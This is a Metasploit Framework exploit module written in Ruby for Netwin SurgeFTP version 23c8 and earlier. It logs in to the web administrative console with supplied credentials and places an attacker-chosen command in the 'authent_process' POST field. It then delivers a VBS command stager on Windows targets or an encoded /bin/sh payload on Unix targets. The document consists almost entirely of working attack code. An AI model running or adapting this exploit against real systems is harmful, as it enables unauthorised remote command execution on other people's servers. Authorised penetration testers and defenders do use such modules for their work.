Netwin SurgeFTP Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStagerVBS  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Netwin SurgeFTP Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8  
or prior. In order to execute commands via the FTP service, please note that  
you must have a valid credential to the web-based administrative console.  
},  
'Author' =>  
[  
'Spencer McIntyre', #Who found this vuln?  
'sinn3r'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB', '23522']  
],  
'Targets' =>  
[  
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ],  
[ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]  
],  
'DisclosureDate' => 'Dec 06 2012'))  
  
register_options(  
[  
Opt::RPORT(7021),  
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])  
], self.class)  
end  
  
def check  
res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})  
if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def execute_command(cmd, opts)  
http_send_command("cmd.exe /q /c #{cmd}")  
end  
  
def http_send_command(command)  
res = send_request_cgi(  
{  
'uri' => '/cgi/surgeftpmgr.cgi',  
'method' => 'POST',  
'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],  
'vars_post' =>  
{  
'global_smtp' => "",  
'global_restart' => "",  
'global_style' => "",  
'global_bind' => "",  
'global_passive_ip' => "",  
'global_passive_match' => "",  
'global_logon_mode' => "",  
'global_log_host' => "",  
'global_login_error' => "",  
'global_adminip' => "",  
'global_total_users' => "",  
'global_con_perip' => "",  
'global_ssl' => "",  
'global_ssl_cipher_list' => "",  
'global_implicit_port' => "",  
'log_level' => "",  
'log_home' => "",  
'global_watcher_program_ul' => "",  
'global_watcher_program_dl' => "",  
'authent_process' => command,  
'authent_cmdopts' => "",  
'authent_number' => "",  
'authent_domain' => "",  
'global_strip_user_domain' => "",  
'global_noclass' => "",  
'global_anon_hammer_over_time' => "",  
'global_anon_hammer_max' => "",  
'global_anon_hammer_block_time' => "",  
'global_port' => "",  
'global_mgr_port' => "",  
'global_mgr_ssl_port' => "",  
'cmd_global_save.x' => "36",  
'cmd_global_save.y' => "8",  
}  
})  
  
if res and res.body =~ /401 Authorization failed/  
fail_with(Exploit::Failure::NoAccess, "Unable to log in!")  
elsif not (res and res.code == 200)  
fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')  
end  
end  
  
def exploit  
case target['Platform']  
when 'win'  
print_status("#{rhost}:#{rport} - Sending VBS stager...")  
execute_cmdstager({:linemax=>500})  
  
when 'unix'  
print_status("#{rhost}:#{rport} - Sending payload...")  
http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)  
end  
  
handler  
end  
end`